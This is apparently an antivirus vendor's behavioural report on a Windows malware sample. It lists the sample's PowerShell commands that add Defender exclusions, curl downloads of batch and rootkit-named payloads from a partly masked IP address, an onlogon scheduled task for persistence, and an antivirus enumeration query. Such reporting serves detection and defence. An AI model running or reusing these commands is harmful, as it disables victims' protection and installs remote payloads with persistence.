Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\av-update.sys
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$filePath = '%TEMP%\1281234785-1349561558-61767233-1342510608.bat'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$filePath = '%TEMP%\1213909013-1389220150-54165372-1139908892.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$filePath = '%TEMP%\$77-1248867135-1399265863-13555506-1265170709.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$filePath = '%TEMP%\$77-1367485912-1301030334-38956387-1139393293.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$filePath = '%TEMP%\$77-1323431895-1366823588-39821948-1367603542.tmp'; Add-MpPreference -ExclusionPath $filePath"
Modifies file system
Creates the following files
- nul
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
- '<SYSTEM32>\cmd.exe' /c curl -o %TEMP%\$77-1367485912-1301030334-38956387-1139393293.tmp --silent
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$filePath = '%TEMP%\$77-1367485912-1301030334-38956387-1139393293.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\cmd.exe' /c curl -o %TEMP%\$77-1248867135-1399265863-13555506-1265170709.tmp --silent
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$filePath = '%TEMP%\$77-1248867135-1399265863-13555506-1265170709.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\cmd.exe' /c curl -o %TEMP%\1213909013-1389220150-54165372-1139908892.tmp --silent
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$filePath = '%TEMP%\1213909013-1389220150-54165372-1139908892.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\cmd.exe' /c curl http://12#.#13.164.139/OBF1x-webhook_UNOBF.bat -o %TEMP%\1281234785-1349561558-61767233-1342510608.bat --silent
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$filePath = '%TEMP%\1281234785-1349561558-61767233-1342510608.bat'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\cmd.exe' /c curl -s "http://12#.#13.164.139/RawLinks/hackeroopsecrootkituninstall.txt"
- '<SYSTEM32>\cmd.exe' /c curl -s "http://12#.#13.164.139/RawLinks/hackeroopsecrootkitinstall.txt"
- '<SYSTEM32>\cmd.exe' /c curl -s "http://12#.#13.164.139/RawLinks/hackeroopsecstubb.txt"
- '<SYSTEM32>\cmd.exe' /c curl -s "http://12#.#13.164.139/RawLinks/hackeroopsecstubblucky.txt"
- '<SYSTEM32>\schtasks.exe' /create /sc onlogon /tn "av-update.sys" /tr "<Full path to file>" /rl HIGHEST /f
- '<SYSTEM32>\cmd.exe' /c schtasks /create /sc onlogon /tn "av-update.sys" /tr "<Full path to file>" /rl HIGHEST /f >nul
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
- '<SYSTEM32>\cmd.exe' /c powershell -Command "$filePath = '%TEMP%\$77-1323431895-1366823588-39821948-1367603542.tmp'; Add-MpPreference -ExclusionPath $filePath"
- '<SYSTEM32>\cmd.exe' /c curl -o %TEMP%\$77-1323431895-1366823588-39821948-1367603542.tmp --silent
